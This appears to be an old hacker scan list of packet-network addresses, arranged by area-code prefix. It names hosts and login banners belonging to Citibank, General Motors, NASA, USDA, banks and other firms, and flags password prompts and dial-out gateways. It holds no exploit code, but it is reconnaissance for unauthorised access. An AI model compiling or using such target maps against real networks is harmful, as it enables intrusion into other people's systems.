70 VAX FIG ADMIN CLUSTER
|
||
71 Enter Translator Number
|
||
91 VAX
|
||
$ 92 Citinet
|
||
$ 94
|
||
$ 95 <<ENTER PASSWORD>>
|
||
$ 96 <<ENTER PASSWORD>>
|
||
97 Quotdial
|
||
98 VAX CMA1
|
||
$ 100 VAX
|
||
$ 103 <<ENTER PASSWORD>>
|
||
$ 104 VAX
|
||
175 enter a for astra
|
||
$ 176 VAX PBGNY
|
||
178 VAX Citibank VAXC
|
||
179 VAX Citibank VAXC
|
||
$ 180 Decserver
|
||
$ 181 Decserver
|
||
$ 182 Decserver
|
||
* 183
|
||
* 184
|
||
* 185
|
||
* 186
|
||
$ 187 Decserver
|
||
$ 189 Decserver
|
||
193 PRIME
|
||
$ 199 RSX-11
|
||
201 C/C/M
|
||
202 C/C/M
|
||
203 C/C/M
|
||
204 C/C/M
|
||
208 C/C/M
|
||
260 VAX
|
||
* 1000
|
||
|
||
|
||
224--CITIBANK--ADDRESSES SCANNED: 0-700
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
2 VAX Global Report
|
||
5
|
||
7 Citibank Test
|
||
9 VAX
|
||
13
|
||
16 PLEASE SIGN ON
|
||
17 Citibanking Hong Kong
|
||
22
|
||
24 Decserver
|
||
26 Mexico Babymail
|
||
27 Decserver
|
||
28 Decserver
|
||
36 Citibank Mexico
|
||
47 PPD Communications Network
|
||
51 "
|
||
52 Citibank Mexico
|
||
57 VAX
|
||
58 Citibank Venesuela
|
||
59 Citibank Quito
|
||
60 Citibank CBK3
|
||
61 Citibank Sidney
|
||
62 Citibank Jakarta
|
||
63 Citibank Manila
|
||
64 Citibank New Zealand
|
||
65 Citibank Singapore
|
||
66
|
||
67
|
||
68 Argentina Mail
|
||
71 ENTER TRANSACTION ID:
|
||
73 Decserver
|
||
74 CHANNEL 03/104
|
||
76 Cititrak BBS
|
||
78 Citibank Hong Kong
|
||
79 Citibank New York
|
||
81 Citibank Tokyo
|
||
82 Citibank Seoul
|
||
83 Citibank New York
|
||
84 World Corp. Group
|
||
85 Citibank Hong kong
|
||
86 Citibank Singapore
|
||
87 Decserver
|
||
88 Citibank Taipei
|
||
89 Citibank ICC
|
||
90 WANG VS BANCO INTERNAL
|
||
91 PRIME
|
||
92
|
||
93
|
||
94 IBM 3270 CSGCOPRO
|
||
97 CitiMail-Asia Pacific
|
||
98 C/C/M
|
||
100 CitiSwitch, New York
|
||
101 BMS==>
|
||
102 CitiSwitch Hong Kong
|
||
103 BRAZILMAIL
|
||
104 BMS==>
|
||
105 Type .
|
||
106 Citibank Panama
|
||
107
|
||
108 C/C/M
|
||
109 Citibank Baharain
|
||
110 Citibank Puerto Rico
|
||
111
|
||
113 Citibank London
|
||
114
|
||
115
|
||
117 Citibank Hong Kong
|
||
118 NEWNET BS
|
||
119 Decserver
|
||
121 NEWNET BS
|
||
122 VAX Global Report
|
||
125 ENTER TRANSACTION ID:
|
||
127 Citibank Jakarta
|
||
128 PRIME
|
||
129 VAX CitiTreasury Products
|
||
130 VAX "
|
||
131 Citibank New York
|
||
134
|
||
137 HP-3000
|
||
138
|
||
139 VAX I.B.F.S.
|
||
140 "
|
||
141 HP-3000
|
||
145 PRIME
|
||
150 Citibank New Jersey
|
||
151
|
||
154 PRIME
|
||
160
|
||
161 VAX FIG ADMIN
|
||
162 PRIME
|
||
163 PRIME
|
||
164 PRIME WINMIS
|
||
165 GS/1 IBISM Elctronic Village
|
||
166 VAX CitiTreasury Products
|
||
167 VAX "
|
||
168 VAX Global Report
|
||
170 Electronic Cash Manager
|
||
173 HELP Online User Manager
|
||
174 PRIME
|
||
175 enter a for astra
|
||
176 Decserver
|
||
177
|
||
178 VAX CRIS
|
||
179 Citinet
|
||
180 ENTER QUOTDIAL ID:
|
||
181 Citimail II N. America
|
||
183 PRIME
|
||
187 Decserver
|
||
188 GS/1 Cititrust WIN
|
||
190 HP-3000
|
||
191 ENTER TYPE NUMBER
|
||
192 HP-3000
|
||
193 HP-3000
|
||
196 VAX CMA1
|
||
197 HRINFO NETWORK
|
||
199 CHANNEL 08/017
|
||
200 Citibank Baharain
|
||
201 CitiMail-Asia Pacific
|
||
202 "
|
||
203 Citibank Hong Kong
|
||
204 LAGB LATINMAIL
|
||
205
|
||
207 CitiBanking SUC.MONTEVIDEO
|
||
213
|
||
217
|
||
219 Citibank Stockholm
|
||
221
|
||
222 XENIX
|
||
223 VAX Global Report
|
||
224 PRIME
|
||
229 VAX Global Report
|
||
231
|
||
501 PRIME ATG
|
||
506 IBM Citibank Hong Kong
|
||
|
||
|
||
229--GENERAL MOTORS--ADDRESSES SCANNED: 0-500
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
113 DCIPC
|
||
114 %@CTVVAUd@dUYECVGUIied
|
||
118 " "
|
||
137 VAX
|
||
152 VAX
|
||
171 (Channel b.h128.001)
|
||
172 " "
|
||
176 NOS
|
||
177 (Channel b.h101.001)
|
||
178 (Channel b.h128.001)
|
||
179 " "
|
||
181 USER NUMBER--
|
||
183 USER NUMBER--
|
||
184 Division:
|
||
185
|
||
187 DEC20
|
||
219 VM/370
|
||
220
|
||
226 VAX
|
||
310 PRIME
|
||
311 IUeASID@CVTTAUD@bhUcAg
|
||
|
||
|
||
301--NARYLAND--ADDRESSES SCANNED: 0-500
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
20 PLEASE ENTER /LOGIN
|
||
* 21
|
||
24 The Source
|
||
26 DNAMD1 Online
|
||
28 The Source
|
||
31 PRIME NUSA
|
||
33 VOS United Communications Corp
|
||
38 The Source
|
||
* 39
|
||
* 43
|
||
45 RNN/NGW
|
||
* 46
|
||
47 The Source
|
||
48 The Source
|
||
49 The Source
|
||
$ 52 PRIME
|
||
56 RNN/NGW
|
||
57 RNN/NGW
|
||
58 PRIME CDA Online Services
|
||
* 60a
|
||
* 61a
|
||
$ 63 PRIME PINET
|
||
$ 65 PRIME APHISB
|
||
74 (I)nt (D)atapac (T)elenet
|
||
* 77
|
||
* 78
|
||
100 VOS United Communications Corp
|
||
102 CYBER Arbitron
|
||
103 " "
|
||
104 " "
|
||
105 " "
|
||
106 " "
|
||
107 " "
|
||
108 " "
|
||
109 " "
|
||
110 " "
|
||
111 " "
|
||
112 " "
|
||
113 " "
|
||
114 " "
|
||
115 " "
|
||
116 " "
|
||
$ 125 VAX
|
||
132 ElHill 3
|
||
140 VAX
|
||
141 USER ID
|
||
$ 150 VAX
|
||
156 The Source
|
||
157 The Source
|
||
158 The Source
|
||
159 The Source
|
||
162 The Source
|
||
* 165
|
||
$ 167 VAX Manger Support System
|
||
$ 68 VAX
|
||
170 VOS United Communications Corp
|
||
$ 173 ID
|
||
$ 175 ID
|
||
$ 176 HP-3000
|
||
178 CYBER Arbitron
|
||
$ 243 PRIME
|
||
$ 245 PRIME
|
||
$ 246 PRIME
|
||
$ 247 PRIME
|
||
249 VAX Tamsco
|
||
301 PRIME Primecom Network
|
||
302 " " "
|
||
303 " " "
|
||
307 PRIME
|
||
330 PRIME Primecom Network
|
||
331 " " "
|
||
332 " " "
|
||
333 " " "
|
||
334 " " "
|
||
335 " " "
|
||
336 VAX
|
||
337 Dialcom MHS
|
||
341 PRIME Primecom Network
|
||
342 " " "
|
||
343 " " "
|
||
344 " " "
|
||
345 " " "
|
||
346 " " "
|
||
350 " " "
|
||
351 " " "
|
||
352 " " "
|
||
353 " " "
|
||
354 " " "
|
||
356 " " "
|
||
357 " " "
|
||
358 " " "
|
||
361 " " "
|
||
363 " " "
|
||
364 " " "
|
||
390 " " "
|
||
391 " " "
|
||
392 " " "
|
||
393 " " "
|
||
394 " " "
|
||
396 " " "
|
||
398 " " "
|
||
399 " " "
|
||
408 The Source
|
||
430 The Source
|
||
435 The Source
|
||
$ 440 INVALID-SW-CHARS
|
||
* 441
|
||
* 442
|
||
* 443
|
||
* 444
|
||
* 445
|
||
* 446
|
||
* 447
|
||
* 448
|
||
* 449
|
||
* 450
|
||
* 451
|
||
* 452
|
||
$ 453 VAX
|
||
$ 454 PRIME FRED
|
||
1001 Campus 2000
|
||
1002 Telecom Gold
|
||
1004 Telecom Gold
|
||
1017 Rev.19
|
||
1018 Telecom Gold
|
||
1040 VAX British Telecom
|
||
1041 " "
|
||
1047 " "
|
||
1049 " "
|
||
1050 " "
|
||
1051 " "
|
||
1052 " "
|
||
1053 " "
|
||
1054 " "
|
||
1055 " "
|
||
1057 " "
|
||
1058 " "
|
||
1060 UNIX Telecom Gold
|
||
1061 " "
|
||
1068 " "
|
||
1069 " "
|
||
1072 Telecom Gold
|
||
1073 "
|
||
1074 "
|
||
1075 "
|
||
1076 "
|
||
1077 "
|
||
1078 "
|
||
1079 "
|
||
1080 "
|
||
1081 "
|
||
1082 "
|
||
1083 "
|
||
1084 "
|
||
1085 "
|
||
1086 "
|
||
1087 "
|
||
1088 "
|
||
1089 "
|
||
1090 "
|
||
1200a "
|
||
2030 ID
|
||
2031 "
|
||
2032 "
|
||
2033 "
|
||
|
||
|
||
302--DELAWARE--ADDRESSES SCANNED: 0-300
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 31 ID
|
||
* 32
|
||
$ 41 (Tymnet clone)
|
||
|
||
|
||
303-COLORADO--ADDRESSES SCANNED: 0-500
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
7 NCAR
|
||
8 NCAR
|
||
$ 21 PC Pursuit Dialer (2400)
|
||
38 PRIME SL
|
||
$ 50 AOS
|
||
$ 52 PRIME DWRC
|
||
$ 54 AOS
|
||
$ 57 PRIME DENVER
|
||
$ 60 AOS
|
||
* 64
|
||
* 65
|
||
$ 66 AOS
|
||
$ 68 AOS
|
||
$ 69 AOS
|
||
$ 78 AOS
|
||
100 enter switch characters
|
||
$ 114 PC Pursuit Dialer (300)
|
||
$ 115 PC Pursuit Dialer (1200)
|
||
120 PRIME SAMSON
|
||
$ 130 AOS
|
||
131 Petroleum Info Network
|
||
$ 138 AOS
|
||
140 X29 Password:
|
||
$ 145 AOS
|
||
$ 146 AOS
|
||
$ 149 ID
|
||
* 152
|
||
$ 154 AOS
|
||
$ 155 AOS
|
||
$ 156 AOS
|
||
$ 157 AOS
|
||
$ 158 AOS
|
||
$ 159 AOS
|
||
$ 168 AOS
|
||
$ 169 AOS
|
||
$ 172 AOS
|
||
$ 176 AOS
|
||
$ 177 AOS
|
||
* 179
|
||
* 200
|
||
$ 231 AOS
|
||
$ 239 AOS
|
||
* 244
|
||
* 250
|
||
$ 253 AOS
|
||
* 256
|
||
$ 257 AOS
|
||
* 266
|
||
314
|
||
335 PRIME UDEN01
|
||
$ 342 HP-3000
|
||
350 VAX
|
||
$ 353 AOS
|
||
$ 354 AOS
|
||
$ 355 AOS
|
||
$ 356 AOS
|
||
$ 434 AOS
|
||
* 463
|
||
$ 470 AOS
|
||
|
||
|
||
304--WEST VIRGINIA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
$ 31 AOS
|
||
$ 32 ID
|
||
* 34
|
||
* 41
|
||
100 WVNET
|
||
130 WVNET
|
||
|
||
|
||
305--FLORIDA--ADDRESSES SCANNED: 0-900
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
4 Martin Marietta
|
||
20
|
||
22 HP-3000
|
||
35 ENTER SWITCH CHARACTERS
|
||
* 51
|
||
* 52
|
||
* 56
|
||
63 HP-3000
|
||
* 67
|
||
* 68
|
||
* 69
|
||
73 HP-3000
|
||
$ 120 PC Pursuit Dialer (300)
|
||
$ 121 PC Pursuit Dialer (1200)
|
||
$ 122 PC Pursuit Dialer (2400)
|
||
129 HP-3000
|
||
* 135
|
||
136
|
||
137
|
||
138 HP-3000
|
||
140
|
||
148 VAX
|
||
156 VAX EVF
|
||
159 VU/TEXT
|
||
* 235
|
||
* 236
|
||
239 VM/370
|
||
$ 240 HP-3000
|
||
248 VAX
|
||
255 VAX
|
||
* 262
|
||
* 263
|
||
$ 268
|
||
278 PACKET/74
|
||
330a
|
||
* 337
|
||
$ 338 VAX AIM
|
||
$ 345 PRIME MIAMI
|
||
* 350
|
||
* 351
|
||
* 360
|
||
* 361
|
||
365 Martin Marietta
|
||
$ 370 No access to this DTE
|
||
371 VAX (In Spanish)
|
||
* 433
|
||
570
|
||
590
|
||
623 Telenet Async to 3270
|
||
644
|
||
|
||
|
||
312--ILLINOIS--ADDRESSES SCANNED: 0-1200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 24 PC Pursuit Dialer (2400)
|
||
34 Your entry is incorrect
|
||
$ 35 VTAM/TSO
|
||
* 37
|
||
41 Your entry is incorrect
|
||
42 #
|
||
43 #
|
||
46 SYSTEM SECURITY STANDARDS
|
||
63 PEOPLE/LINK
|
||
$ 64 Purdue ISN
|
||
$ 65 COMMAND UNRECOGNIZED
|
||
70 PEOPLE/LINK
|
||
* 71
|
||
* 77
|
||
* 78
|
||
101a
|
||
108a
|
||
121 enter system id--
|
||
131 VM/370
|
||
$ 133
|
||
135 PEOPLE/LINK
|
||
142 HP-3000
|
||
$ 146 HP-3000
|
||
$ 147 ONLINE
|
||
150 Please enter SUBSCRIBERID
|
||
$ 158 HP-3000
|
||
159 Please enter SUBSCRIBERID
|
||
160 PASSWORD
|
||
161 "
|
||
162 "
|
||
163 "
|
||
$ 166 ONLINE
|
||
$ 170 VAX SKMIC4
|
||
219 enter system id--
|
||
222 PASSWORD
|
||
227 PASSWORD
|
||
$ 231 USSMSG02
|
||
233 PASSWORD
|
||
235 PASSWORD
|
||
* 245
|
||
247
|
||
* 253
|
||
* 254
|
||
$ 255 Enter host access code:
|
||
256 Please LOGIN
|
||
258 ID:
|
||
* 263
|
||
289 Baxter ASAP System
|
||
300a WANG VS SREA
|
||
301a " "
|
||
302a " "
|
||
303a " "
|
||
304a " "
|
||
305a " "
|
||
306a " "
|
||
307a " "
|
||
308a " "
|
||
309a " "
|
||
310a " "
|
||
311a " "
|
||
312a " "
|
||
313a " "
|
||
314a " "
|
||
315a " "
|
||
316a " "
|
||
317a " "
|
||
318a " "
|
||
319a " "
|
||
* 338
|
||
* 341
|
||
* 354
|
||
370 PEOPLE/LINK
|
||
373a
|
||
374 Information Resources
|
||
375 VAX Marketing Fact Book
|
||
378 Baxter ASAP System
|
||
* 391
|
||
* 392
|
||
* 394
|
||
* 395
|
||
* 397
|
||
$ 398 MHP201A
|
||
400 Baxter ASAP System
|
||
401 "
|
||
402 "
|
||
403 "
|
||
404 "
|
||
406 COMMAND UNRECOGNIZED
|
||
$ 410 PC Pursuit Dialer (300)
|
||
$ 411 PC Pursuit Dialer (1200)
|
||
* 420
|
||
* 421
|
||
$ 422 MHP201A
|
||
* 425
|
||
* 427
|
||
* 428
|
||
* 431
|
||
$ 434 Purdue ISN
|
||
$ 435 HP-3000
|
||
$ 439 Purdue ISN
|
||
* 442
|
||
* 469
|
||
* 475
|
||
* 476
|
||
* 477
|
||
520 R59X01 login:
|
||
521 "
|
||
522 "
|
||
523 "
|
||
524 "
|
||
525 "
|
||
526 PASSWORD
|
||
527 PASSWORD
|
||
528 PASSWORD
|
||
532 VAX OMNI
|
||
534
|
||
535
|
||
536
|
||
548
|
||
$ 571
|
||
$ 572
|
||
$ 575
|
||
$ 576
|
||
$ 577
|
||
$ 580
|
||
$ 581
|
||
$ 590
|
||
$ 591
|
||
$ 592
|
||
$ 593
|
||
$ 594
|
||
$ 595
|
||
$ 596
|
||
$ 597
|
||
583
|
||
584
|
||
586
|
||
587
|
||
588
|
||
589
|
||
655 Baxter ASAP System
|
||
740 Telenet Async to 3270
|
||
741a Telenet Async to 3270
|
||
* 759
|
||
* 761
|
||
* 762
|
||
* 763
|
||
* 764
|
||
* 766
|
||
* 767
|
||
* 768
|
||
* 769
|
||
$ 770 Telenet Async to 3270
|
||
$ 771a Telenet Async to 3270
|
||
$ 772 Telenet Async to 3270
|
||
1030 VAX First Options of Chicago
|
||
1031 VAX "
|
||
1032 VAX "
|
||
1033 VAX "
|
||
1034 VAX "
|
||
1035 VAX "
|
||
1036 VAX "
|
||
1037 VAX "
|
||
1038 VAX "
|
||
1112
|
||
1127
|
||
1130 R52XO1 login:
|
||
1131 "
|
||
1132 "
|
||
1133 "
|
||
1134 "
|
||
1135 "
|
||
1136 "
|
||
1137 "
|
||
1138 "
|
||
1139 "
|
||
1140 "
|
||
1141 "
|
||
1142 "
|
||
1143 "
|
||
1144 "
|
||
|
||
|
||
313--MICHIGAN--ADDRESSES SCANNED: 0-400
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 24 PC Pursuit Dialer (2400)
|
||
25 COMSHARE
|
||
$ 30 VAX GVN VAX CLUSTER
|
||
37 enter system id--
|
||
38 "
|
||
40 Autonet
|
||
41 Autonet
|
||
43 enter system id--
|
||
50 enter system id--
|
||
61 enter system id--
|
||
62 merit:x.25
|
||
64 Telenet Async to 3270
|
||
65a Telenet Async to 3270
|
||
68 (I)nternational (D)atapac
|
||
* 75
|
||
$ 77 ID
|
||
82 NTUSSTB5
|
||
83 "
|
||
85 enteer system id--
|
||
119 PASSWORD
|
||
120 "
|
||
145 enter your access code?
|
||
146 "
|
||
148 ENTER YOUR SUBSCRIBERID;
|
||
160 PASSWORD
|
||
161 "
|
||
162 "
|
||
164 VU/TEXT
|
||
165 enter user ID
|
||
172 "
|
||
173 VAX IPP
|
||
202 merit:x.25
|
||
210a
|
||
$ 214 PC Pursuit Dialer (300)
|
||
$ 216 PC Pursuit Dialer (1200)
|
||
* 231
|
||
233
|
||
239 UNIX GTE
|
||
* 245
|
||
249
|
||
250 HP-3000
|
||
252
|
||
255 $$50 DEVICE TYPE ID
|
||
256 "
|
||
* 257
|
||
346 ?1040
|
||
347 "
|
||
|
||
|
||
314--MISSOURI--ADDRESSES SCANNED: 0-300
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 5 PC Pursuit Dialer (2400)
|
||
$ 20 PC Pursuit Dialer (1200)
|
||
$ 33 AOS
|
||
$ 35 AOS
|
||
$ 36 AOS
|
||
$ 37 AOS
|
||
$ 38 AOS
|
||
* 39
|
||
$ 40 AOS
|
||
$ 45 AOS
|
||
* 50
|
||
* 57
|
||
131 MDCIS
|
||
132 Type User Name
|
||
$ 157 PRIME JEFCTY
|
||
$ 179 ID
|
||
* 240
|
||
* 241
|
||
* 242
|
||
* 243
|
||
* 244
|
||
* 245
|
||
* 246
|
||
* 247
|
||
* 248
|
||
* 249
|
||
* 250
|
||
* 251
|
||
* 252
|
||
* 253
|
||
|
||
|
||
315--NEW YORK--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
20 enter system id
|
||
$ 32 COMMAND UNRECOGNIZED
|
||
$ 50 enter terminal type
|
||
$ 130 ID
|
||
134 enter system id
|
||
135 "
|
||
136 "
|
||
$ 137 GTE CAMILLUS NY
|
||
$ 149 GTE CAMILLUS NY
|
||
150 GTE CAMILLUS NY
|
||
151 "
|
||
154
|
||
155
|
||
156 5294 Controller
|
||
157a 5294 Controller
|
||
|
||
|
||
317--INDIANA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 ID
|
||
* 31
|
||
32 PRC ACF/VTAM
|
||
34 PRC ACF/VTAM
|
||
41
|
||
|
||
|
||
318--LOUISIANA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
* 57
|
||
|
||
|
||
321--SPAN--ADDRESSES SCANNED: VARIOUS
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
104 NASA Packet Network
|
||
150 PRIME
|
||
$ 160 VAX NASA/MFSC
|
||
1030 VAX MIPS10
|
||
1036 VAX US GOVERNMENT VAX
|
||
1056 PRIME
|
||
2023 PRIME
|
||
3035 VAX FLYBOY
|
||
4027a ALPHA 5
|
||
* 7034
|
||
7036 LUT 3.2>
|
||
$ 7055 VAX
|
||
7064 PRIME
|
||
|
||
|
||
334--UNKNOWN--ADDRESSES SCANNED: VARIOUS
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 100 National Computer Center
|
||
$ 102 "
|
||
$ 103 Enter Terminal id?
|
||
$ 130 NARDAC
|
||
$ 131 NARDAC
|
||
* 200
|
||
$ 500
|
||
* 560
|
||
|
||
|
||
335--UNKNOWN--ADDRESSES SCANNED: VARIOUS
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 12
|
||
* 13
|
||
* 110
|
||
* 111
|
||
* 120
|
||
* 121
|
||
* 122
|
||
* 123
|
||
* 124
|
||
* 210
|
||
|
||
|
||
336--UNKNOWN--ADDRESSES SCANNED: 0-700
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 21 VAX USDA
|
||
$ 22 VAX "
|
||
$ 40 AOS
|
||
159 VAX
|
||
$ 165 VAX VSFCA
|
||
173 Unisys Telcom
|
||
174 "
|
||
179 "
|
||
* 180
|
||
$ 181
|
||
$ 182 FCCC
|
||
* 183
|
||
$ 185 IVeASID@CVTTAUD@bhUeAg
|
||
$ 200 AOS
|
||
$ 240 PRIME
|
||
$ 250 AOS
|
||
$ 260 AOS
|
||
* 604
|
||
|
||
|
||
337--UNKNOWN--ADDRESSES SCANNED: VARIOUS
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 10a
|
||
$ 15a
|
||
* 100
|
||
* 101
|
||
$ 110 V28048DA
|
||
$ 120 AOS
|
||
* 200
|
||
* 201
|
||
* 202
|
||
* 203
|
||
|
||
|
||
343--BURROUGHS--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
190 BURROUGHS
|
||
|
||
|
||
401--RHODE ISLAND--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 42 ID
|
||
* 50
|
||
612 Modem City
|
||
|
||
|
||
402--NEBRASKA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
40 ID
|
||
* 52
|
||
55 Dynix
|
||
* 56
|
||
$ 60
|
||
64a
|
||
|
||
|
||
404--GEORGIA--ADDRESSES SCANNED: 0-300
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 22 PC Pursuit Dialer (2400)
|
||
* 33
|
||
$ 36 AOS
|
||
$ 37 AOS
|
||
* 40
|
||
* 47
|
||
$ 72 ID
|
||
$ 113 PC Pursuit Dialer (300)
|
||
$ 114 PC Pursuit Dialer (1200)
|
||
$ 124
|
||
* 127
|
||
$ 128
|
||
$ 130
|
||
* 136
|
||
* 175
|
||
* 230
|
||
|
||
|
||
405--OKLAHOMA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
19
|
||
$ 20
|
||
* 32
|
||
* 33
|
||
34
|
||
45 Hertz
|
||
46 C@
|
||
|
||
|
||
406--MONTANA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 32 AOS
|
||
$ 33 AOS
|
||
$ 37 AOS
|
||
$ 44 AOS
|
||
$ 45 AOS
|
||
$ 46 AOS
|
||
$ 47 AOS
|
||
$ 48 AOS
|
||
$ 51 AOS
|
||
$ 52 AOS
|
||
$ 53 AOS
|
||
$ 58 AOS
|
||
$ 61 AOS
|
||
$ 62 AOS
|
||
$ 63 AOS
|
||
$ 64 AOS
|
||
$ 65 AOS
|
||
$ 75 AOS
|
||
* 125
|
||
$ 131 AOS
|
||
$ 132 AOS
|
||
$ 133 AOS
|
||
* 140
|
||
* 142
|
||
* 145
|
||
* 148
|
||
$ 150 AOS
|
||
$ 155 AOS
|
||
$ 157 AOS
|
||
$ 158 AOS
|
||
$ 159 AOS
|
||
$ 161 AOS
|
||
$ 162 AOS
|
||
$ 163 AOS
|
||
$ 176 AOS
|
||
$ 178 AOS
|
||
|
||
|
||
408--CALIFORNIA--ADDRESSES SCANNED: 0-700
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 21 PC Pursuit Dialer (2400)
|
||
$ 38 AOS
|
||
$ 41 AOS
|
||
* 49
|
||
* 53
|
||
58a
|
||
62 TACL1>
|
||
* 76
|
||
84a
|
||
$ 110 PC Pursuit Dialer (300)
|
||
$ 111 PC Pursuit Dialer (1200)
|
||
121 HP-3000
|
||
126a
|
||
$ 133 UNIX
|
||
$ 135 SCS-SALES
|
||
* 149
|
||
154 PRIME GREGOR
|
||
$ 159 VAX
|
||
$ 174 AOS
|
||
* 175
|
||
235 Global Weather MU2
|
||
238 UNIX
|
||
$ 257 VAX MATRA DESIGN
|
||
* 260
|
||
* 261
|
||
264 Portal
|
||
* 267
|
||
* 268
|
||
* 271
|
||
274 BBB Version 20
|
||
280a
|
||
304 Call:
|
||
311 AMDAHL Network
|
||
312 CCC110A
|
||
313 AMDAHL Network
|
||
314 "
|
||
315 "
|
||
$ 342 UNIX
|
||
$ 344 VAX ANDO
|
||
346 UNIX
|
||
$ 349 PCI (Tymnet clone)
|
||
352
|
||
$ 357 PCI (Tymnet clone)
|
||
$ 358 "
|
||
$ 359 "
|
||
* 371
|
||
$ 375 PCI (Tymnet clone)
|
||
$ 376 "
|
||
$ 377 "
|
||
378 UNIX Sunlink
|
||
434 COMMAND UNRECOGNIZED
|
||
435
|
||
$ 439 PCI (Tymnet clone)
|
||
$ 440 "
|
||
$ 444 HP-3000
|
||
$ 445 VAX LAUREL
|
||
$ 457 HP-3000
|
||
$ 461 AOS
|
||
$ 462 AOS
|
||
$ 463 AOS
|
||
* 468
|
||
$ 469 AOS
|
||
* 479
|
||
* 530
|
||
* 531
|
||
* 532
|
||
$ 534 HP-3000
|
||
$ 537 HP-3000
|
||
$ 538 HP-3000
|
||
* 560
|
||
$ 561 AOS
|
||
* 562
|
||
* 563
|
||
* 564
|
||
* 565
|
||
* 566
|
||
* 567
|
||
$ 568 AOS
|
||
$ 569 AOS
|
||
* 570
|
||
* 571
|
||
* 572
|
||
* 573
|
||
* 574
|
||
$ 610 HP-3000
|
||
619 HP-3000
|
||
* 620
|
||
627 Fujitsu America
|
||
|
||
|
||
410--RCA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
0 RCA
|
||
|
||
|
||
412--PENNSYLVANIA--ADDRESSES SCANNED: 0-800
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
33 Enter Usercode:
|
||
$ 34 LORD Corporation
|
||
$ 35a Telenet Async to 3270
|
||
42 Federated Edge
|
||
43 "
|
||
47 Enter Logon
|
||
48 "
|
||
49 "
|
||
51 "
|
||
52 "
|
||
55 COMMAND UNRECOGNIZED
|
||
61
|
||
63
|
||
67 enter terminal id
|
||
* 68
|
||
79 Federated Edge
|
||
117 VAX
|
||
* 122
|
||
276 COMMAND UNRECOGNIZED
|
||
277 "
|
||
278 "
|
||
279 "
|
||
* 331
|
||
340 Mellon Bank
|
||
341 C@
|
||
342 COMMAND UNRECOGNIZED
|
||
349 *** ENTER LOGON
|
||
352 "
|
||
354 VAX
|
||
355 C@
|
||
360 VAX
|
||
430
|
||
431
|
||
671 Carnegie-Mellon MICOM-B
|
||
|
||
|
||
413--MASSACHUSETTS--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 21 TW81
|
||
|
||
|
||
414--WISCONSIN--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 20 PC Pursuit Dialer (300)
|
||
$ 21 PC Pursuit Dialer (1200)
|
||
$ 31 AOS
|
||
$ 34 AOS
|
||
$ 36 AOS
|
||
* 38
|
||
$ 46 PRIME SYSU
|
||
49 MMISC
|
||
60 MGIC
|
||
81a
|
||
* 120
|
||
$ 131 AOS
